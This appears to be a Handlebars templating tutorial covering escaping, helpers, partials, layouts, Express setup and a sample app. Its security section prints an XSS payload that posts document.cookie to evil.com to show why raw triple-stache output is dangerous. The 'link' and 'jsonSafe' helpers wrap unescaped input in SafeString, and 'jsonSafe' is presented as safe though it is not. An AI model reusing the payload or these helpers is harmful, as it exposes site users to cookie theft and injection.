Handlebars is a superset of Mustache created by Yehuda Katz in 2010. It enforces separation of concerns by keeping business logic out of templates. You write HTML with {{ }} expressions — no arbitrary JS in your views.
npm install handlebars
const Handlebars = require('handlebars');
// Compile a template string
const template = Handlebars.compile(
'<h1>{{title}}</h1>'
);
// Execute with data (context)
const html = template({ title: 'Hello HBS' });
// => '<h1>Hello HBS</h1>'
// From a file (Node.js)
const fs = require('fs');
const src = fs.readFileSync(
'./views/index.hbs', 'utf8'
);
const tpl = Handlebars.compile(src);
const output = tpl({ users: [...] });
Convention: .hbs or .handlebars. Most projects use .hbs for brevity.
{{ }} and {{{ }}}{{ }} — Escaped (Safe)<!-- Template -->
<p>{{userInput}}</p>
<!-- Data: { userInput:
'<script>alert("xss")</script>' } -->
<!-- Output -->
<p><script>alert("xss")
</script></p>
Characters escaped: & < > " ' ` =
<!-- Property access -->
<h1>{{title}}</h1>
<!-- Nested property (dot notation) -->
<p>{{user.name}}</p>
<p>{{user.address.city}}</p>
<!-- Comments (not in output) -->
{{!-- This is a comment --}}
{{! Short comment }}
{{{ }}} — Unescaped (Raw HTML)<!-- Template -->
<div>{{{richContent}}}</div>
<!-- Data: { richContent:
'<strong>Bold</strong>' } -->
<!-- Output -->
<div><strong>Bold</strong></div>
HTML renders as-is. Dangerous with user input!
{{#if isAdmin}}
<div class="badge admin">Admin</div>
{{else if isEditor}}
<div class="badge editor">Editor</div>
{{else}}
<div class="badge member">Member</div>
{{/if}}
<!-- #if is falsy-aware:
false, undefined, null, "",
0, [] all evaluate to false -->
{{#unless loggedIn}}
<a href="/login">Please sign in</a>
{{/unless}}
<!-- Equivalent to: -->
{{#if loggedIn}}{{else}}
<a href="/login">Please sign in</a>
{{/if}}
<!-- Array iteration -->
<ul>
{{#each users}}
<li>{{this.name}} — {{this.email}}</li>
{{else}}
<li>No users found.</li>
{{/each}}
</ul>
<!-- Object iteration -->
<dl>
{{#each config}}
<dt>{{@key}}</dt>
<dd>{{this}}</dd>
{{/each}}
</dl>
{{#with user.address}}
<p>{{street}}, {{city}}</p>
<p>{{postcode}}</p>
{{/with}}
<!-- Without #with you'd need:
{{user.address.street}},
{{user.address.city}} etc. -->
// Simple value helper
Handlebars.registerHelper(
'uppercase', function(str) {
return str.toUpperCase();
}
);
// In template:
// {{uppercase user.name}}
// Multiple arguments
Handlebars.registerHelper(
'currency', function(amount, curr) {
return new Intl.NumberFormat('en-GB', {
style: 'currency',
currency: curr || 'GBP'
}).format(amount);
}
);
// {{currency product.price "USD"}}
Handlebars.registerHelper(
'eq', function(a, b, options) {
return a === b
? options.fn(this)
: options.inverse(this);
}
);
// {{#eq user.role "admin"}}
// <span>Admin Panel</span>
// {{else}}
// <span>Dashboard</span>
// {{/eq}}
// Block helper with options.fn / options.inverse
Handlebars.registerHelper(
'ifCond', function(v1, op, v2, options) {
switch (op) {
case '===': return v1 === v2
? options.fn(this)
: options.inverse(this);
case '<': return v1 < v2
? options.fn(this)
: options.inverse(this);
case '>': return v1 > v2
? options.fn(this)
: options.inverse(this);
default: return options.inverse(this);
}
}
);
// {{#ifCond cart.total ">" 100}}
// <p>Free shipping!</p>
// {{/ifCond}}
new Handlebars.SafeString() when outputting HTMLoptions.hash for named arguments: {{helper key=val}}// Register a named partial
Handlebars.registerPartial('nav',
'<nav>{{#each links}}' +
'<a href="{{url}}">{{label}}</a>' +
'{{/each}}</nav>'
);
// Use in template:
// {{> nav}}
<!-- Pass data to partial -->
{{> userCard user}}
<!-- Pass hash parameters -->
{{> card title="Hello" body="World"}}
<!-- If 'sidebar' partial doesn't exist,
the block content renders instead -->
{{#> sidebar}}
<p>Default sidebar content</p>
{{/sidebar}}
<!-- The partial can yield back with: -->
<!-- {{> @partial-block}} -->
<!-- Choose partial at runtime -->
{{> (lookup . 'partialName')}}
<!-- Example with data -->
<!-- { partialName: 'userCard' } -->
<!-- Renders the 'userCard' partial -->
<!-- Define inline partial -->
{{#*inline "myItem"}}
<li>{{name}} ({{role}})</li>
{{/inline}}
<!-- Use it in same template -->
<ul>
{{#each team}}
{{> myItem}}
{{/each}}
</ul>
With express-handlebars, files in views/partials/ are auto-registered by filename. No manual registerPartial() needed.
const source = '<h1>{{title}}</h1>';
// Compile to a reusable function
const template = Handlebars.compile(source);
// Execute with different data
template({ title: 'Page One' });
// => '<h1>Page One</h1>'
template({ title: 'Page Two' });
// => '<h1>Page Two</h1>'
Compile once, execute many times. The compiled function is a plain JS function.
// At build time (Node.js)
const spec = Handlebars.precompile(source);
// => stringified JS spec (no runtime needed)
// Write to file
fs.writeFileSync(
'templates.js',
'var tpl = Handlebars.template('
+ spec + ');'
);
# CLI precompilation
npx handlebars views/ -f templates.js
<!-- Only 6KB instead of full 70KB -->
<script src="handlebars.runtime.js"></script>
<script src="templates.js"></script>
<script>
var html = Handlebars.templates
['myTemplate']({ name: 'World' });
</script>
Precompiled templates only need the runtime (~6 KB) — not the full compiler (~70 KB).
npm install express express-handlebars
const express = require('express');
const { engine } = require(
'express-handlebars'
);
const app = express();
app.engine('hbs', engine({
extname: '.hbs',
defaultLayout: 'main',
layoutsDir: 'views/layouts/',
partialsDir: 'views/partials/'
}));
app.set('view engine', 'hbs');
app.set('views', './views');
app.get('/', (req, res) => {
res.render('home', {
title: 'Home',
user: { name: 'Alice' },
books: [
{ title: '1984', author: 'Orwell' },
{ title: 'Dune', author: 'Herbert' }
]
});
});
app.engine('hbs', engine({
extname: '.hbs',
defaultLayout: 'main',
helpers: {
currency: (n) =>
new Intl.NumberFormat('en-GB', {
style: 'currency',
currency: 'GBP'
}).format(n),
dateShort: (d) =>
new Date(d).toLocaleDateString(
'en-GB',
{ day: 'numeric', month: 'short',
year: 'numeric' }
),
eq: (a, b) => a === b,
json: (obj) => JSON.stringify(obj, null, 2)
}
}));
Files in partialsDir are auto-registered by filename. views/partials/nav.hbs becomes {{> nav}}. Sub-folders become prefixed: components/card.hbs → {{> components/card}}.
<!-- views/layouts/main.hbs -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>{{title}} | {{siteName}}</title>
<link rel="stylesheet" href="/css/style.css">
</head>
<body>
{{> nav}}
<main class="container">
{{{body}}}
</main>
{{> footer}}
</body>
</html>
The {{{body}}} placeholder is where view content is injected (triple-stache because the body is pre-rendered HTML).
// Use a different layout
app.get('/admin', (req, res) => {
res.render('admin/dashboard', {
title: 'Admin',
layout: 'admin'
// uses views/layouts/admin.hbs
});
});
// No layout at all
app.get('/widget', (req, res) => {
res.render('widget', {
layout: false
});
});
<!-- views/layouts/admin.hbs -->
<!DOCTYPE html>
<html>
<head><title>Admin</title></head>
<body>
{{> admin-sidebar}}
<main>{{{body}}}</main>
</body>
</html>
<!-- views/home.hbs (just the content) -->
<h1>Welcome, {{user.name}}</h1>
<p>You have {{notifications}} new messages.</p>
Views contain only page-specific content. The layout wraps it automatically.
<!-- Data: { title: "Books", items: [...] } -->
{{#each items}}
<!-- Inside #each, context = current item -->
<h3>{{this.name}}</h3>
<!-- Access parent context -->
<p>Part of: {{../title}}</p>
<!-- Go up two levels -->
<p>{{../../siteName}}</p>
{{/each}}
<!-- Always reaches the root data
regardless of nesting depth -->
{{#each categories}}
{{#each items}}
<p>Site: {{@root.siteName}}</p>
<p>Item: {{this.name}}</p>
{{/each}}
{{/each}}
<!-- Array data variables -->
{{#each users}}
<tr class="{{#if @first}}first{{/if}}
{{#if @last}}last{{/if}}">
<td>{{@index}}</td>
<td>{{this.name}}</td>
</tr>
{{/each}}
<!-- Object data variable -->
{{#each settings}}
<dt>{{@key}}</dt>
<dd>{{this}}</dd>
{{/each}}
<!-- this refers to current context -->
{{#each tags}}
<span>{{this}}</span>
{{/each}}
<!-- Literal segment for special keys -->
{{[special-key]}}
{{article.[#comment]}}
<!-- Nest helpers with parentheses -->
{{uppercase (truncate title 30)}}
<!-- Equivalent to: -->
<!-- 1. truncate(title, 30) -->
<!-- 2. uppercase(result) -->
<!-- Use as argument to block helpers -->
{{#if (eq status "active")}}
<span class="badge-active">Active</span>
{{/if}}
// Register composable helpers
Handlebars.registerHelper({
add: (a, b) => a + b,
mul: (a, b) => a * b,
gt: (a, b) => a > b,
and: (a, b) => a && b,
or: (a, b) => a || b,
not: (a) => !a
});
<!-- Chained subexpressions -->
{{#if (gt (add price tax) 100)}}
<p>Free shipping!</p>
{{/if}}
{{#if (and isLoggedIn (not isBanned))}}
<button>Post Comment</button>
{{/if}}
<!-- Select partial dynamically -->
{{> (lookup . 'cardType') data}}
<!-- With a helper -->
{{> (whichPartial user.role) user}}
Handlebars.registerHelper(
'whichPartial', function(role) {
return role === 'admin'
? 'admin-card'
: 'user-card';
}
);
<!-- Named parameters via hash -->
{{link "Home" href="/" class="nav-link"}}
<!-- In the helper: -->
<!-- options.hash.href => "/" -->
<!-- options.hash.class => "nav-link" -->
Handlebars.registerHelper(
'link', function(text, options) {
const h = options.hash;
return new Handlebars.SafeString(
`<a href="${h.href}" class="${h.class}">`
+ `${text}</a>`
);
}
);
<!-- VULNERABLE: triple-stache with user input -->
<div>{{{userComment}}}</div>
<!-- If userComment contains: -->
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: document.cookie
});
</script>
<!-- SAFE: double-stache auto-escapes -->
<div>{{userComment}}</div>
| Scenario | Syntax |
|---|---|
| User-supplied text | {{ }} always |
| Layout body injection | {{{ }}} (required) |
| CMS / Markdown HTML | {{{ }}} after sanitising |
| JSON in script tag | Helper + SafeString |
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
// Custom helper for safe HTML
Handlebars.registerHelper(
'safeHtml', function(html) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b','i','p','a','ul','li'],
ALLOWED_ATTR: ['href']
});
return new Handlebars.SafeString(clean);
}
);
<!-- Template — safe after sanitisation -->
<article>{{safeHtml content}}</article>
Handlebars.registerHelper(
'jsonSafe', function(obj) {
return new Handlebars.SafeString(
JSON.stringify(obj)
);
}
);
<script>
const data = {{jsonSafe serverData}};
</script>
Decorators modify the template program itself before execution. Unlike helpers (which produce output), decorators transform behaviour. They run at compile time and can modify the program's internal state.
Handlebars.registerDecorator(
'bold', function(program, props,
container, context) {
// Wrap all string output in <strong>
const original = program;
program = function() {
return '<strong>'
+ original.apply(this, arguments)
+ '</strong>';
};
return program;
}
);
// In template:
// {{* bold}}
// {{title}} <!-- wrapped in <strong> -->
// Decorator that adds i18n helpers
// to the template's context
Handlebars.registerDecorator(
'i18n', function(program, props,
container, context) {
// Add translation function
props.t = function(key) {
return translations[
context.data.root.locale
][key] || key;
};
return program;
}
);
// Override the compiler for custom behaviour
const CustomCompiler =
function() {};
CustomCompiler.prototype =
Object.create(
Handlebars.JavaScriptCompiler.prototype
);
CustomCompiler.prototype.compiler =
CustomCompiler;
// Override methods for custom codegen
Decorators and compiler hooks are advanced patterns. Most applications only need helpers and partials. Reach for decorators when you need to transform template behaviour globally.
| Method | When | Output |
|---|---|---|
compile() | Runtime | Executable function |
precompile() | Build time | Serialised JS spec |
template() | Runtime | Hydrates precompiled spec |
precompile() is faster at runtime because parsing + compilation happen at build time. The client only needs the 6 KB runtime.
# Precompile all .hbs files in views/
npx handlebars views/ -f dist/templates.js
# Minified output
npx handlebars views/ -f dist/templates.js -m
# With CommonJS wrapper
npx handlebars views/ -f dist/templates.js -c
// express-handlebars caches by default
// in production (NODE_ENV=production)
// Force caching in development:
app.engine('hbs', engine({
extname: '.hbs',
defaultLayout: 'main',
cache: true // not recommended in dev
}));
// Express-level view cache
app.set('view cache', true);
handlebars.runtime.js (6 KB) not the full library (70 KB)knownHelpers and knownHelpersOnly for faster compilation| Engine | Renders/sec |
|---|---|
| Handlebars (precompiled) | ~35,000 |
| EJS (cached) | ~28,000 |
| Pug (cached) | ~22,000 |
| Nunjucks (cached) | ~18,000 |
| Feature | Handlebars | EJS | Pug | Nunjucks |
|---|---|---|---|---|
| Syntax | Mustache {{ }} |
HTML + JS tags | Indentation-based | Jinja2-style {% %} |
| Learning Curve | Low | Minimal | Moderate | Low-Moderate |
| JS in Templates | No (logic-less) | Full JS access | Full JS access | Limited expressions |
| Layouts | Built-in via express-handlebars | Via plugin/includes | Built-in extends | Built-in extends |
| Auto-Escape | {{ }} escapes |
<%= %> escapes |
Default escaped | Default escaped |
| Precompilation | Built-in CLI | Via ejs.compile() |
pug.compileClient() |
nunjucks.precompile() |
| npm Weekly DLs | ~3.2M | ~4.7M | ~1.5M | ~0.9M |
| Best For | Logic separation, teams | JS devs, rapid dev | Clean markup fans | Python devs, i18n |
When to choose Handlebars: You want strict logic/view separation, precompilation, and Mustache compatibility. When not to choose Handlebars: You need full JS expressions in templates or built-in async support.
my-app/
├── app.js
├── package.json
├── .env
├── config/
│ └── db.js
├── routes/
│ ├── index.js
│ ├── auth.js
│ └── products.js
├── controllers/
│ ├── authController.js
│ └── productController.js
├── models/
│ ├── User.js
│ └── Product.js
├── middleware/
│ ├── auth.js
│ └── validate.js
├── helpers/
│ └── hbs-helpers.js
├── views/
│ ├── layouts/
│ │ ├── main.hbs
│ │ └── admin.hbs
│ ├── partials/
│ │ ├── nav.hbs
│ │ ├── flash.hbs
│ │ ├── footer.hbs
│ │ └── components/
│ │ ├── card.hbs
│ │ └── modal.hbs
│ ├── home.hbs
│ ├── about.hbs
│ ├── auth/
│ │ ├── login.hbs
│ │ └── register.hbs
│ ├── products/
│ │ ├── index.hbs
│ │ ├── show.hbs
│ │ └── edit.hbs
│ └── error.hbs
└── public/
├── css/
│ └── style.css
├── js/
│ └── main.js
└── images/
{{{body}}}// helpers/hbs-helpers.js
module.exports = {
currency: (n) =>
new Intl.NumberFormat('en-GB', {
style: 'currency',
currency: 'GBP'
}).format(n),
eq: (a, b) => a === b,
truncate: (str, len) =>
str.length > len
? str.slice(0, len) + '...'
: str
};
Use index.hbs for list views, show.hbs for detail, edit.hbs / new.hbs for forms. Sub-directories under partials/ create namespaced partials.
const express = require('express');
const { engine } = require(
'express-handlebars'
);
const path = require('path');
const app = express();
app.engine('hbs', engine({
extname: '.hbs',
defaultLayout: 'main',
helpers: {
eq: (a, b) => a === b,
year: () => new Date().getFullYear()
}
}));
app.set('view engine', 'hbs');
app.set('views',
path.join(__dirname, 'views'));
app.use(express.urlencoded(
{ extended: true }
));
app.use(express.static('public'));
let books = [
{ id: 1, title: '1984',
author: 'Orwell', year: 1949 },
{ id: 2, title: 'Dune',
author: 'Herbert', year: 1965 },
];
let nextId = 3;
app.get('/', (req, res) => {
res.render('home', {
title: 'Home',
siteName: 'BookShelf',
books,
hasBooks: books.length > 0
});
});
app.get('/books/new', (req, res) => {
res.render('books/new', {
title: 'Add Book',
siteName: 'BookShelf',
form: {}, error: null
});
});
app.post('/books', (req, res) => {
const { title, author, year } = req.body;
if (!title || !author) {
return res.render('books/new', {
title: 'Add Book',
siteName: 'BookShelf',
form: req.body,
error: 'All fields required'
});
}
books.push({
id: nextId++, title, author,
year: parseInt(year)
});
res.redirect('/');
});
app.listen(3000);
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>{{title}} | {{siteName}}</title>
<link rel="stylesheet" href="/css/style.css">
</head>
<body>
{{> nav}}
<main class="container">
{{{body}}}
</main>
<footer>© {{year}} {{siteName}}</footer>
</body>
</html>
<h1>All Books</h1>
<a href="/books/new">+ Add Book</a>
{{#if hasBooks}}
<table>
<tr><th>Title</th><th>Author</th><th>Year</th></tr>
{{#each books}}
<tr>
<td>{{this.title}}</td>
<td>{{this.author}}</td>
<td>{{this.year}}</td>
</tr>
{{/each}}
</table>
{{else}}
<p>No books yet.</p>
{{/if}}
<h1>Add a Book</h1>
{{#if error}}
<p class="error">{{error}}</p>
{{/if}}
<form method="POST" action="/books">
<input name="title" placeholder="Title"
value="{{form.title}}">
<input name="author" placeholder="Author"
value="{{form.author}}">
<input name="year" placeholder="Year"
value="{{form.year}}">
<button type="submit">Save</button>
</form>
{{ }} for escaped, {{{ }}} for raw#if, #unless, #each, #with{{ }} for user data| Package | Purpose |
|---|---|
handlebars | Template engine |
express-handlebars | Express integration + layouts |
handlebars-loader | Webpack integration |
dompurify + jsdom | HTML sanitisation |
express-validator | Form validation |